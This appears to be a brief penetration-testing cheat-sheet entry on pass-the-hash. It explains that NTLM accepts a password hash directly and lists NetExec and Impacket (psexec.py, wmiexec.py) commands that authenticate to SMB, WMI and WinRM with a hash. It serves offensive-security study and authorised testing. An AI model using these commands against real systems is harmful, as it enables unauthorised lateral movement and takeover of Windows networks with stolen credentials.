Credential based authentication

Pass the hash

Pass the hash uses NTLM hashes to authenticate without knowing the plaintext password. It is effective because Windows NTLM authentication accepts the hash directly.

# NetExec
nxc smb SUBNET/24 -u Administrator -H NTHASH

# Impacket
psexec.py domain/user@TARGET -hashes LMHASH:NTHASH
wmiexec.py domain/user@TARGET -hashes LMHASH:NTHASH

Pass the hash works against any service that accepts NTLM authentication, including SMB, WMI, and WinRM.